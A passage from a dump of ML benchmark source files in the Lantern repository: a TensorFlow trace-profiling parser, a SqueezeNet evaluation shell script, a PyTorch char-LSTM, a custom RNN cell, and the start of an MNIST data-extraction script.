loopEnd - loopStart\ntimePerEpoch = loopTime / epocNum\n\n# get median loop time\ntime_save.sort()\nmedian_time = time_save[int(epocNum / 2)]\nprint('median looptime is %s ' % median_time)\n\nwith open(\"result_PyTorch\", \"w\") as f:\n f.write(\"unit: \" + \"1 epoch\\n\")\n for loss in loss_save:\n f.write(\"{}\\n\".format(loss))\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(median_time) + \"\\n\")\n" }, { "alpha_fraction": 0.5312374234199524, "alphanum_fraction": 0.5404929518699646, "avg_line_length": 40.55439376831055, "blob_id": "56cd91bff0c6c72ee795b68fe62e116a297d191c", "content_id": "d58a1c717457e3d563f6ec9ceb3db54d0b8aa62f", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 19880, "license_type": "permissive", "max_line_length": 125, "num_lines": 478, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/tools/prof.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "import fileinput as fin\nfrom collections import OrderedDict\nimport argparse\nimport json\nfrom operator import itemgetter\nimport os\nDEBUG = True\n# Global variables\ntime_cond = ['ts', 'dur']\nglobal_vas = OrderedDict([ \\\n ('markTF', ''), \\\n ('gobal_beg_time', 0), \\\n ('output_folder', 'Output'),\\\n ])\nlayers_names = OrderedDict([ \\\n ('conv1_f', 'conv1_forward'), \\\n ('conv1_b', 'conv1_backward'), \\\n ('bn1_f', 'bn1_forward'), \\\n ('bn1_b', 'bn1_backward'), \\\n ('relu1_f', 'relu1_forward'), \\\n ('relu1_b', 'relu1_backward'), \\\n ('conv2_f', 'conv2_forward'), \\\n ('conv2_b', 'conv2_backward'), \\\n ('bn2_f', 'bn2_forward'), \\\n ('bn2_b', 'bn2_backward'), \\\n ('relu2_f', 'relu2_forward'), \\\n ('relu2_b', 'relu2_backward'), \\\n ('rnn_trans_f', 'rnn_transpose_forward'), \\\n ('rnn_trans_b', 'rnn_transpose_backward'), \\\n ('rnn_reshape_f', 'rnn_reshape_forward'), \\\n ('rnn_reshape_b', 'rnn_reshape_backward'), \\\n ('rnn_Revs_f', 'rnn_ReverseSequence_forward'), \\\n ('rnn_Revs_b', 'rnn_ReverseSequence_backward'), \\\n ('rnn_f_0', 'rnn_forward_cell_0'), \\\n ('rnn_b_0', 'rnn_backward_cell_0'), \\\n ('rnn_f_1', 'rnn_forward_cell_1'), \\\n ('rnn_b_1', 'rnn_backward_cell_1'), \\\n ('rnn_f_2', 'rnn_forward_cell_2'), \\\n ('rnn_b_2', 'rnn_backward_cell_2'), \\\n ('rnn_f_3', 'rnn_forward_cell_3'), \\\n ('rnn_b_3', 'rnn_backward_cell_3'), \\\n ('rnn_f_4', 'rnn_forward_cell_4'), \\\n ('rnn_b_4', 'rnn_backward_cell_4'), \\\n ('rnn_f_5', 'rnn_forward_cell_5'), \\\n ('rnn_b_5', 'rnn_backward_cell_5'), \\\n ('rnn_f_6', 'rnn_forward_cell_6'), \\\n ('rnn_b_6', 'rnn_backward_cell_6'), \\\n ('softmax_f', 'softmax_forward'), \\\n ('softmax_b', 'softmax_backward'), \\\n ('ctc_f', 'ctc_forward'), \\\n ('ctc_b', 'ctc_backward'), \\\n ('ema', 'ExponentialMovingAverage') \\\n ])\n# Define ops per layer\nlayers_ops = OrderedDict()\nfor key, val in layers_names.iteritems():\n layers_ops[val] = []\n# Define modules \nmodule_grad = 'gradients'\nmodule_rnncell = \"CustomRNNCell2/\"\nrnn_cell_string = \"cell_\"\nmodule_rnn = 'rnn'\nmodule_conv1 = 'conv1'\nmodule_conv2 = 'conv2'\nmodule_bn = '/bn'\nmodule_softmax = 'softmax_linear'\nmodule_Exponential = 'ExponentialMovingAverage/AssignMovingAvg_'\nmodule_trans = 'transpose'\nmodule_resp ='rnn/Reshape'\nmodule_rvseq = 'ReverseSequence'\nmodule_relu = ['Minimum', 'Relu']\nmodule_ctc = ['ctc_loss', 'CTCLoss']\n# Define cond for branch instructions\n# opt_exc = ['biases/ApplyAdam', 'weights/ApplyAdam', 'Conv2D_grad/Shape']\nopt_inc = OrderedDict()\nopt_exc = OrderedDict()\nopt_any = OrderedDict()\nopt_inc[layers_names['conv1_f']] = [module_conv1]\nopt_exc[layers_names['conv1_f']] = [module_grad, module_bn, 'Minimum', 'Relu']\nopt_inc[layers_names['conv1_b']] = [module_conv1, module_grad]\nopt_exc[layers_names['conv1_b']] = [module_bn, 'Minimum', 'Relu']\nopt_inc[layers_names['bn1_f']] = [module_conv1, module_bn]\nopt_exc[layers_names['bn1_f']] = [module_grad, 'Minimum', 'Relu']\nopt_inc[layers_names['bn1_b']] = [module_conv1, module_bn, module_grad]\nopt_exc[layers_names['bn1_b']] = ['Minimum', 'Relu']\nopt_inc[layers_names['relu1_f']] = [module_conv1]\nopt_exc[layers_names['relu1_f']] = [module_grad, module_bn]\nopt_inc[layers_names['relu1_b']] = [module_conv1, module_grad]\nopt_exc[layers_names['relu1_b']] = [module_bn]\n# conv2\nopt_inc[layers_names['conv2_f']] = [module_conv2]\nopt_exc[layers_names['conv2_f']] = [module_grad, module_bn, 'Minimum', 'Relu']\nopt_inc[layers_names['conv2_b']] = [module_conv2, module_grad]\nopt_exc[layers_names['conv2_b']] = [module_bn, 'Minimum', 'Relu']\nopt_inc[layers_names['bn2_f']] = [module_conv2, module_bn]\nopt_exc[layers_names['bn2_f']] = [module_grad, 'Minimum', 'Relu']\nopt_inc[layers_names['bn2_b']] = [module_conv2, module_bn, module_grad]\nopt_exc[layers_names['bn2_b']] = ['Minimum', 'Relu']\nopt_inc[layers_names['relu2_f']] = [module_conv2]\nopt_exc[layers_names['relu2_f']] = [module_grad, module_bn]\nopt_inc[layers_names['relu2_b']] = [module_conv2, module_grad]\nopt_exc[layers_names['relu2_b']] = [module_bn]\n# full connection layer\nopt_inc[layers_names['softmax_f']] = [module_softmax]\nopt_exc[layers_names['softmax_f']] = [module_grad]\nopt_inc[layers_names['softmax_b']] = [module_softmax, module_grad]\nopt_exc[layers_names['softmax_b']] = []\nopt_inc[layers_names['ctc_f']] = []\nopt_exc[layers_names['ctc_f']] = [module_grad]\nopt_inc[layers_names['ctc_b']] = [module_grad]\nopt_exc[layers_names['ctc_b']] = []\n\nopt_any[layers_names['relu1_f']] = module_relu\nopt_any[layers_names['relu1_b']] = module_relu\nopt_any[layers_names['relu2_f']] = module_relu\nopt_any[layers_names['relu2_b']] = module_relu\nopt_any[layers_names['ctc_f']] = module_ctc\nopt_any[layers_names['ctc_b']] = module_ctc\ndebug_exc = []\nfor i in range(7):\n if i>=0:\n debug_exc.append(\"rnn_backward_cell_\"+str(i))\n debug_exc.append(\"rnn_forward_cell_\"+str(i))\n# rnn\ncell = \"cell_\"\ni1 = 0\ni2 = 0\nfor key, val in layers_names.iteritems():\n if 'rnn_f' in key:\n opt_inc[val] = [module_rnncell, cell+str(i1)]\n opt_exc[val] = [module_grad]\n i1 += 1\n elif 'rnn_b' in key:\n opt_inc[val] = [module_rnncell, cell+str(i2), module_grad]\n opt_exc[val] = []\n i2 += 1\n# others\nopt_inc[layers_names['rnn_trans_f']] = [module_rnn, module_trans]\nopt_exc[layers_names['rnn_trans_f']] = [module_grad, module_rnncell]\nopt_inc[layers_names['rnn_trans_b']] = [module_rnn, module_trans, module_grad]\nopt_exc[layers_names['rnn_trans_b']] = [module_rnncell]\nopt_inc[layers_names['rnn_reshape_f']] = [module_rnn, module_resp]\nopt_exc[layers_names['rnn_reshape_f']] = [module_grad, module_rnncell]\nopt_inc[layers_names['rnn_reshape_b']] = [module_rnn, module_resp, module_grad]\nopt_exc[layers_names['rnn_reshape_b']] = [module_rnncell]\nopt_inc[layers_names['rnn_Revs_f']] = [module_rnn, module_rvseq]\nopt_exc[layers_names['rnn_Revs_f']] = [module_grad]\nopt_inc[layers_names['rnn_Revs_b']] = [module_rnn, module_rvseq, module_grad]\nopt_exc[layers_names['rnn_Revs_b']] = []\nopt_inc[layers_names['ema']] = [module_Exponential]\nopt_exc[layers_names['ema']] = [module_rnn]\n\n# Functions and classes\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--input', type = str,\n default = 'ITF_profiling_32.json')\n args = parser.parse_args()\n return args\n\ndef updateGlobalVas(args):\n if 'ITF' in args.input:\n global_vas['markTF'] = 'ITF_'\n elif 'PTF' in args.input:\n global_vas['markTF'] = 'PTF_'\n else:\n global_vas['markTF'] = 'MTF_'\n if not os.path.exists(os.path.join(os.getcwd(), global_vas['output_folder'])):\n os.makedirs(os.path.join(os.getcwd(), global_vas['output_folder']))\n if not os.path.exists(os.path.join(os.getcwd(), global_vas['output_folder'] + '/inc_ops')):\n os.makedirs(os.path.join(os.getcwd(), global_vas['output_folder'] + '/inc_ops'))\n if not os.path.exists(os.path.join(os.getcwd(), global_vas['output_folder'] + '/rnn_gaps')):\n os.makedirs(os.path.join(os.getcwd(), global_vas['output_folder'] + '/rnn_gaps'))\n\n\nclass RawPeriodList:\n def __init__(self):\n self.beg_time = 0.0\n self.end_time = 0.0\n self.beg_op = ''\n self.end_op = ''\n self.periodList = []\n self.period = OrderedDict([\\\n ('layer_name', ''), \\\n ('period', 0.0), \\\n ('beg_time', 0.0), \\\n ('end_time', 0.0), \\\n ('beg_op', ''),\\\n ('end_op', '')])\n def initPeriod(self):\n self.beg_time = 0.0\n self.end_time = 0.0 \n def createPeriod(self, op):\n if self.beg_time == 0 and self.end_time == 0:\n self.beg_op = op['name']\n self.end_op = op['name']\n self.beg_time = op['beg']\n self.end_time = op['end']\n elif self.beg_time > op['beg']:\n self.beg_op = op['name']\n self.beg_time = op['beg']\n elif self.end_time < op['end']:\n self.end_op = op['name']\n self.end_time = op['end']\n def append2List(self, layer_name):\n self.period['layer_name'] = layer_name\n self.period['period'] = self.end_time - self.beg_time\n self.period['beg_time'] = self.beg_time\n self.period['end_time'] = self.end_time\n self.period['beg_op'] = self.beg_op\n self.period['end_op'] = self.end_op\n self.periodList.append(self.period.copy())\n def getRawPeriodList(self):\n return self.periodList\n def printPeriods(self):\n file_name = global_vas['output_folder'] + '/'+ global_vas['markTF'] + 'periods.csv'\n fp = open(file_name, 'w')\n fp.write(\"layer_name, period, beg_time, beg_op, end_time, end_op\\n\")\n for period in self.periodList:\n fp.write(\"%s, %g, %g, %s, %g, %s\\n\" % (period['layer_name'], period['period'],\\\n period['beg_time'], period['beg_op'],\\\n period['end_time'], period['end_op']))\n fp.close()\n \nclass TimeStampsList:\n stampsList = []\n stamps = OrderedDict()\n stamp = OrderedDict()\n\n def __init__(self, layers_ops):\n self.layers = layers_ops\n self.rawPeriodList = RawPeriodList()\n self.stamps = OrderedDict([\\\n ('layer_name', ''),\\\n ('stamps', [])])\n self.stamp = OrderedDict([\\\n ('time', 0.0),\\\n ('op_name', ''),\\\n ('pos', '')])\n def initStamps(self):\n self.stamps['stamps'] = []\n def createTimeStamp(self, op):\n self.stamp['time'] = op['beg']\n self.stamp['op_name'] = op['name']\n self.stamp['pos'] = 'beg'\n stamp_beg = self.stamp.copy()\n self.stamp['time'] = op['end']\n self.stamp['op_name'] = op['name']\n self.stamp['pos'] = 'end'\n stamp_end = self.stamp.copy()\n return stamp_beg, stamp_end\n def createStampsList(self):\n for layer_name, ops in self.layers.iteritems():\n self.initStamps()\n self.stamps['layer_name'] = layer_name\n self.rawPeriodList.initPeriod()\n for op in ops:\n stamp_beg, stamp_end = self.createTimeStamp(op)\n self.stamps['stamps'].append(stamp_beg)\n self.stamps['stamps'].append(stamp_end)\n self.rawPeriodList.createPeriod(op)\n self.stamps['stamps'].sort(key = lambda x: x['time'])\n # append the stamps of the layer into list\n self.stampsList.append(self.stamps.copy())\n self.rawPeriodList.append2List(layer_name) \n def getStampsList(self):\n return self.stampsList\n def getRawPeriodList(self):\n return self.rawPeriodList.getRawPeriodList()\n def printStamps(self):\n file_name = global_vas['output_folder'] + '/'+ global_vas['markTF'] +'stamps.csv'\n fp = open(file_name, 'w')\n for stamps in self.stampsList:\n fp.write(\"%s\\n\" % stamps['layer_name'])\n fp.write(\"time, op_name, pos\\n\")\n for stamp in stamps['stamps']:\n fp.write(\"%g, %s, %s\\n\" % (stamp['time'], stamp['op_name'], stamp['pos']))\n fp.close()\n def printPeriods(self):\n self.rawPeriodList.printPeriods()\n\nclass TimeInfo:\n def __init__(self, layers_ops, threshold):\n self.threshold = threshold\n self.rawPeriodList = RawPeriodList()\n self.timeStampsList = TimeStampsList(layers_ops)\n self.layerExeTimeList = LayerExeTimeList(layers_ops)\n self.layers = layers_ops\n\n def createInfo(self):\n self.timeStampsList.createStampsList()\n stampsList = self.timeStampsList.getStampsList()\n self.layerExeTimeList.createExeTimeList(stampsList, self.threshold)\n\n self.timeStampsList.printStamps()\n self.timeStampsList.printPeriods()\n self.layerExeTimeList.printExeTimes()\n self.layerExeTimeList.printGapsList()\n\nclass LayerExeTimeList:\n def __init__(self, layers):\n self.interGapsList = InterGapsList()\n self.layers = layers\n self.exeTimeList = []\n self.exeTime = OrderedDict([\\\n ('layer_name', ''),\\\n ('wall_time', 0.0),\\\n ('wall_time_thres', 0.0)])\n def checkInsideOp(self, mid, layer_name):\n ops = self.layers[layer_name]\n for op in ops:\n if mid > op['beg'] and mid < op['end']:\n return True\n return False\n def createExeTimeList(self, stampsList, threshold=0.0):\n # Compute the wall time for layers\n for item in stampsList:\n # For one layer\n layer_name = item['layer_name']\n self.exeTime['layer_name'] = layer_name\n stamps = item['stamps']\n wallTime = 0.0\n wallTime_thres = 0.0\n self.interGapsList.initGaps()\n for i in range(len(stamps)):\n if i == 0:\n continue\n prev = stamps[i-1]['time']\n current = stamps[i]['time']\n period = current - prev\n mid = prev + period/2\n if self.checkInsideOp(mid, layer_name):\n wallTime += period\n wallTime_thres += period\n elif period < threshold:\n wallTime_thres += period\n self.interGapsList.append2Gaps(layer_name, period, stamps[i-1], stamps[i])\n self.exeTime['wall_time'] = wallTime\n self.exeTime['wall_time_thres'] = wallTime_thres\n self.exeTimeList.append(self.exeTime.copy())\n self.interGapsList.append2GapsList()\n print (\"ExeTime of %s has been computed\" % (layer_name))\n \n def getExeTimeList(self):\n return self.exeTimeList\n def printExeTimes(self):\n file_name = global_vas['output_folder'] + '/'+ global_vas['markTF'] +'exeTime.csv'\n fp = open(file_name, 'w')\n fp.write(\"layer_name, wall_time, wall_time_thres\\n\")\n for exeTime in self.exeTimeList:\n fp.write(\"%s, %g, %g\\n\" % (exeTime['layer_name'], exeTime['wall_time'], exeTime['wall_time_thres']))\n fp.close()\n def printGapsList(self):\n self.interGapsList.printGapsList()\n \nclass InterGapsList:\n def __init__(self):\n self.gapsList = []\n self.gaps = OrderedDict([\\\n ('layer_name', ''),\\\n ('gaps', [])])\n self.gap = OrderedDict([\\\n ('period', 0.0),\\\n ('beg_time', 0.0),\\\n ('end_time', 0.0),\\\n ('beg_op', 0.0),\\\n ('end_op', 0.0)])\n def initGaps(self):\n self.gaps['gaps'] = []\n def append2Gaps(self, layer_name, period, prev, current):\n self.gap['period'] = period\n self.gap['beg_time'] = prev['time']\n self.gap['beg_op'] = prev['op_name']\n self.gap['end_time'] = current['time']\n self.gap['end_op'] = current['op_name']\n self.gaps['layer_name'] = layer_name\n self.gaps['gaps'].append(self.gap.copy())\n def append2GapsList(self):\n self.gapsList.append(self.gaps.copy())\n def printGapsList(self):\n file_name = global_vas['output_folder'] + '/'+ global_vas['markTF'] +'gaps.csv'\n fp = open(file_name, 'w')\n for gaps in self.gapsList:\n if 'cell' in gaps['layer_name']:\n file_name = global_vas['output_folder'] + '/rnn_gaps/'+ global_vas['markTF'] + gaps['layer_name'] +'gaps.csv'\n fp_rnn = open(file_name, 'w')\n for gap in gaps['gaps']:\n fp_rnn.write(\"%g, %g, %s, %g, %s\\n\" % \\\n (gap['period'],gap['beg_time'],gap['beg_op'],gap['end_time'],gap['end_op']))\n fp_rnn.close()\n else:\n fp.write(\"%s\\n\" % (gaps['layer_name']))\n for gap in gaps['gaps']:\n fp.write(\"%g, %g, %s, %g, %s\\n\" % \\\n (gap['period'],gap['beg_time'],gap['beg_op'],gap['end_time'],gap['end_op']))\n fp.close()\n\nclass Operator:\n opInfo = OrderedDict()\n def __init__(self):\n self.opInfo = OrderedDict([\\\n ('name', ''),\\\n ('beg', 0.0),\\\n ('end', 0.0) ])\n \n def createOpInfo(self, name, beg, end):\n self.opInfo['name'] = name\n self.opInfo['beg'] = float(beg)/1000.0\n self.opInfo['end'] = float(end)/1000.0\n \n def getOpInfo(self):\n return self.opInfo\n\n def insert(self, alist, input, input_name):\n beg = input['ts'] - global_vas['gobal_beg_time']\n end = beg + input['dur']\n self.createOpInfo(input_name, beg, end)\n alist.append(self.getOpInfo().copy())\n\nclass OpsList: \n gmark = False\n op = Operator()\n layers = OrderedDict()\n \n def __init__(self, layers_ops):\n self.layers = layers_ops\n\n def recordBegTime(self, item):\n if self.gmark == False and all(c in item.iterkeys() for c in time_cond):\n self.gmark = True\n global_vas['gobal_beg_time'] = item['ts']\n \n def groupByLayer(self, input, cmd):\n for key, layer_name in layers_names.iteritems():\n if 'relu' in key or 'ctc' in key:\n if all(c in cmd for c in opt_inc[layer_name]) and all(c not in cmd for c in opt_exc[layer_name]) \\\n and any(c in cmd for c in opt_any[layer_name]):\n self.op.insert(self.layers[layer_name], input, cmd)\n break\n else:\n if all(c in cmd for c in opt_inc[layer_name]) and all(c not in cmd for c in opt_exc[layer_name]):\n self.op.insert(self.layers[layer_name], input, cmd)\n break\n \n def append2List(self, input): \n input_name = str(input[\"name\"])\n self.recordBegTime(input) \n if \"args\" in input.iterkeys() and all(c in input.iterkeys() for c in time_cond):\n input_name = str(input[\"args\"][\"name\"])\n self.groupByLayer(input, input_name) \n elif \"args\" not in input.iterkeys() and all(c in input.iterkeys() for c in time_cond):\n self.groupByLayer(input, input_name) \n\n def printList(self):\n for key, val in self.layers.iteritems():\n file_name = global_vas['output_folder'] + '/inc_ops/'+ global_vas['markTF'] +'include_ops_'+key+'.log'\n fp = open(file_name, 'w')\n for v in val:\n fp.write(\"%s:\\n\" % (v))\n fp.close()\n\n# Read Json file\nargs = parse_args()\nupdateGlobalVas(args)\njson_data=open(args.input).read()\njdata = json.loads(json_data)\n\n# Create layer's OPs list\nopsList = OpsList(layers_ops)\nfor item in jdata[\"traceEvents\"]: \n opsList.append2List(item)\n\nprint 'opsList has been created'\nopsList.printList()\n\nthreshold = 50000.0\ntimeInfo = TimeInfo(layers_ops, threshold)\ntimeInfo.createInfo()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.7647753953933716, "alphanum_fraction": 0.7825059294700623, "avg_line_length": 41.275001525878906, "blob_id": "8bd3c3a3442d04a6d6e36ffae7f7b6ecc04e77f6", "content_id": "e7ce047c917274203ece1e737733f0b93dbc0ab3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 1692, "license_type": "permissive", "max_line_length": 147, "num_lines": 40, "path": "/src/out/PLDI19evaluation/scripts/run_squeezenet_once.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/bin/bash\necho \"Note: make sure you are using the most updated .cpp file!\"\necho \"Note: we assume the system has python-pip python-dev python-virtualenv\"\necho \"Note: the script must be run in PLDIevaluation directory\"\necho \"Note: the evaluation is done with a single GPU\"\necho \"Note: we assume that a proper python virtual environment has be installed\"\nexport CUDA_VISIBLE_DEVICES=3\n\necho \"Note: we are using the newest tensorflow pytorch installation in /scratch-ml00/wang603/\"\necho \"Note: Maybe source the conda environment? Not sure\"\nsource /scratch-ml00/wang603/conda3/bin/activate\n\necho \"Note: Maybe downloading cifar10_data\"\n# python3 generate_cifar10_data.py --data-dir cifar10_data\n\necho \"Exp: run squeezenet models first\"\ncd squeezenet\ncd pytorch\necho \"Note: if you haven't generate onnx model from the PyTorch implementation, do it now by uncommenting the command below.\"\necho \"Note: without the onnx model, you cannot generate Lantern code. You need to generate Lantern code too.\"\n# python3 train.py --generate_onnx ../squeezenetCifar10.onnx\n\necho \"Exp: run PyTorch training with GPU\"\npython3 train.py --use_gpu=True\n\ncd ../lantern\necho \"Exp: run Lantern training with GPU\"\nnvcc -g -std=c++11 -O3 --expt-extended-lambda -Wno-deprecated-gpu-targets -lstdc++ LanternOnnxTraining.cu -o LanternOnnxTrainingCu -lcublas -lcudnn\n./LanternOnnxTrainingCu\tresult_Lantern\n\ncd ../tensorflow\necho \"Exp: run TensorFlow training with GPU\"\npython3 train.py\n\necho \"Plot: plot squeezenet result\"\ncd ..\nmkdir -p results/\ncp pytorch/result_PyTorch results/result_PyTorch_$1.txt\ncp lantern/result_Lantern results/result_Lantern_$1.txt\ncp tensorflow/result_TensorFlow results/result_TensorFlow_$1.txt\n\n" }, { "alpha_fraction": 0.6206485629081726, "alphanum_fraction": 0.6354315876960754, "avg_line_length": 31.02290153503418, "blob_id": "f736eae515e2a3142feae9a6fcf92b5da39b3966", "content_id": "d478395b527cd4879806605aaf846390b6e5c908", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4194, "license_type": "permissive", "max_line_length": 76, "num_lines": 131, "path": "/src/out/ICFP18evaluation/evaluationLSTM/min-char-lstm-pytorch.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "\"\"\"\nMinimal character-level Vanilla RNN model. Written by Andrej Karpathy (@karpathy)\nBSD License\n\"\"\"\nimport numpy as np\nimport time\n\ndef run(write_to):\n # data I/O\n start = time.time()\n data = open('graham.txt', 'r').read() # should be simple plain text file\n chars = list(set(data))\n data_size, vocab_size = len(data), len(chars)\n print('data has %d characters, %d unique.' % (data_size, vocab_size))\n char_to_ix = { ch:i for i,ch in enumerate(chars) }\n ix_to_char = { i:ch for i,ch in enumerate(chars) }\n \n # hyperparameters\n hidden_size = 50 # size of hidden layer of neurons\n seq_length = 20 # number of steps to unroll the RNN for\n learning_rate = 1e-1\n n_iters = 5000\n iter_step = 100\n\n # import relevant supports\n import torch\n import torch.nn as nn\n from torch.autograd import Variable\n import torch.nn.functional as F\n torch.manual_seed(1)\n\n def lineToTensor(line):\n tensor = torch.zeros(len(line), 1, vocab_size)\n for li, letter in enumerate(line):\n tensor[li][0][char_to_ix[letter]] = 1\n return tensor\n\n def lineToLongTensor(line):\n tensor = torch.LongTensor(len(line), 1).zero_()\n for li, letter in enumerate(line):\n tensor[li][0] = char_to_ix[letter]\n return tensor\n\n def lineToLongTensor1D(line):\n tensor = torch.LongTensor(len(line)).zero_()\n for li, letter in enumerate(line):\n tensor[li] = char_to_ix[letter]\n return tensor\n\n class RNN(nn.Module):\n def __init__(self, input_size, hidden_size, output_size):\n super(RNN, self).__init__()\n\n self.hidden_size = hidden_size\n self.lstm = nn.LSTM(input_size, hidden_size)\n # self.i2h = nn.Linear(input_size + hidden_size, hidden_size)\n self.i2o = nn.Linear(hidden_size, output_size)\n self.softmax = nn.LogSoftmax(dim=1)\n self.hidden = self.init_hidden()\n\n def forward(self, inputs):# inputs is 1D chars\n # combined = torch.cat((input, hidden), 1)\n # hidden = self.i2h(combined)\n # output = self.i2o(hidden)\n # output = self.softmax(output)\n # return output, hidden\n\n inputsv = Variable(lineToTensor(inputs)) # inputsv is 3D\n lstm_out, self.hidden = self.lstm(inputsv, self.hidden)\n tag_space = self.i2o(lstm_out.view(len(inputs), -1))\n tag_scores = F.log_softmax(tag_space, dim=1)\n return tag_scores\n\n def init_hidden(self):\n #return Variable(torch.zeros(1, self.hidden_size))\n # The axes semantics are (num_layers, minibatch_size, hidden_dim)\n return (Variable(torch.zeros(1, 1, self.hidden_size)),\n Variable(torch.zeros(1, 1, self.hidden_size)))\n\n\n model = RNN(vocab_size, hidden_size, vocab_size)\n loss_function = nn.NLLLoss(size_average=False, reduce=True)\n #loss_function = nn.CrossEntropyLoss()\n optimizer = torch.optim.Adagrad(model.parameters(), lr=learning_rate)\n\n p = 0\n smooth_loss = -np.log(1.0/vocab_size)*seq_length # loss at iteration 0\n\n end = time.time()\n prepareTime = end - start\n #print(\"data loading time: %f\" % (end - start))\n\n start = time.time()\n loss_save = []\n for iter in range(n_iters + 1):\n if p+seq_length+1 >= len(data) or (iter == 0): \n p = 0\n #model.hidden = model.init_hidden() \n\n inputs = data[p:p+seq_length]\n targets = data[p+1:p+seq_length+1]\n\n model.zero_grad()\n model.hidden = model.init_hidden()\n tag_scores = model(inputs)\n loss = loss_function(tag_scores, Variable(lineToLongTensor1D(targets))) \n loss.backward()\n torch.nn.utils.clip_grad_norm(model.parameters(), 5.0, norm_type=1)\n optimizer.step()\n\n smooth_loss = smooth_loss * 0.9 + loss.data[0] * 0.1 \n if iter % iter_step == 0: \n print('iter %d, loss: %f' % (iter, smooth_loss))\n loss_save.append(smooth_loss)\n p += seq_length\n end = time.time()\n loopTime = end - start\n #print(\"training loop time: %f\" % (end - start))\n \n with open(write_to, \"w\") as f:\n f.write(\"unit: \" + \"100 iteration\\n\")\n for loss in loss_save:\n f.write(str(loss) + \"\\n\")\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(loopTime) + \"\\n\")\n\nif __name__ == '__main__':\n import sys\n if (len(sys.argv) != 2):\n print(\"should have a file to write results to\")\n exit(0)\n run(sys.argv[1])" }, { "alpha_fraction": 0.6182950139045715, "alphanum_fraction": 0.6273946166038513, "avg_line_length": 45.400001525878906, "blob_id": "ad6e34d0931eba36e7a321b11d026be11886efd7", "content_id": "18e527bfe1fa7f5f2f42bdae1556036c036145b7", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2088, "license_type": "permissive", "max_line_length": 137, "num_lines": 45, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/src/mkldnn_rnn_op.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "\"\"\"\nCustom RNN Cell definition.\nDefault RNNCell in TensorFlow throws errors when\nvariables are re-used between devices.\n\"\"\"\nimport tensorflow as tf\n\nfrom tensorflow.contrib.rnn import BasicRNNCell\nfrom tensorflow.python.util import nest\nfrom tensorflow.python.training import moving_averages\n\nfrom tensorflow.contrib.mkldnn_rnn.python.ops import mkldnn_rnn_ops\n\nfrom helper_routines import _variable_on_cpu\n\nclass MkldnnRNNCell(BasicRNNCell):\n \"\"\" This is a MkldnnRNNCell based on MKLDNN engine. The Matrix of weights is\n set using _variable_on_cpu.\n The default version of the BasicRNNCell, did not support the ability to\n pin weights on one device (say cpu).\n \"\"\"\n def __init__(self, sess, num_units, input_size = None, activation=tf.nn.relu6, use_fp16=False):\n self._num_units = num_units\n self.use_fp16 = use_fp16\n self.model = mkldnn_rnn_ops.MkldnnRNNRelu(1, self._num_units, input_size, dropout=0.0)\n param_size_t = self.model.params_size()\n if sess is not None:\n self.param_size = sess.run(param_size_t)\n # print \"param size: \", self.param_size\n\n def __call__(self, inputs, state, scope=None, weight_size=None):\n with tf.variable_scope(scope or type(self).__name__):\n # if len(inputs.get_shape()) == 2:\n # inputs = tf.expand_dims(inputs, axis=0)\n # state = tf.expand_dims(state, axis=0)\n # print \"input size: \", inputs.get_shape(), \" state size: \", state.get_shape()\n rnn_weights = _variable_on_cpu(\"rnn_weights\", [self.param_size], tf.constant_initializer(1.0 / self.param_size), self.use_fp16)\n output, output_h = self.model(input_data=inputs,\n input_h=state,\n params=rnn_weights,\n is_training=True)\n # print \"output size: \", output.get_shape(), \"output h size: \", output_h.get_shape()\n # output = tf.squeeze(output, axis=0)\n # output_h = tf.squeeze(output_h, axis=0)\n return output, output_h\n" }, { "alpha_fraction": 0.627190113067627, "alphanum_fraction": 0.6434133648872375, "avg_line_length": 38.512821197509766, "blob_id": "53be09d5e5edbdc45390543d23322996665d050b", "content_id": "a867734b181ea71e73e79c05d101df0e60f47e34", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3082, "license_type": "permissive", "max_line_length": 77, "num_lines": 78, "path": "/src/out/NIPS18evaluation/evaluationCNN/PyTorch/extract_data.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import print_function\nimport argparse\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nfrom torchvision import datasets, transforms\nfrom torch.autograd import Variable\nimport struct\n\n# Training settings\nparser = argparse.ArgumentParser(description='PyTorch MNIST Example')\nparser.add_argument('--batch-size', type=int, default=64, metavar='N',\n help='input batch size for training (default: 64)')\nparser.add_argument('--test-batch-size', type=int, default=1000, metavar='N',\n help='input batch size for testing (default: 1000)')\nparser.add_argument('--epochs', type=int, default=10, metavar='N',\n help='number of epochs to train (default: 10)')\nparser.add_argument('--lr', type=float, default=0.01, metavar='LR',\n help='learning rate (default: 0.01)')\nparser.add_argument('--momentum', type=float, default=0.5, metavar='M',\n help='SGD momentum (default: 0.5)')\nparser.add_argument('--no-cuda', action='store_true', default=False,\n help='disables CUDA training')\nparser.add_argument('--seed', type=int, default=1, metavar='S',\n help='random seed (default: 1)')\nparser.add_argument('--log-interval', type=int, default=6000, metavar='N',\n help='how many batches to wait before logging training status')\nargs = parser.parse_args()\nargs.cuda = not args.no_cuda and torch.cuda.is_available()\n\ntorch.manual_seed(args.seed)\nif args.cuda:\n torch.cuda.manual_seed(args.seed)\n\n\nkwargs = {'num_workers': 1, 'pin_memory': True} if args.cuda else {}\ntrain_loader = torch.utils.data.DataLoader(\n datasets.MNIST('../data', train=True, download=True,\n transform= #transforms.Compose([\n transforms.ToTensor()# ,\n #transforms.Normalize((0.1307,), (0.3081,))\n ),#])),\n 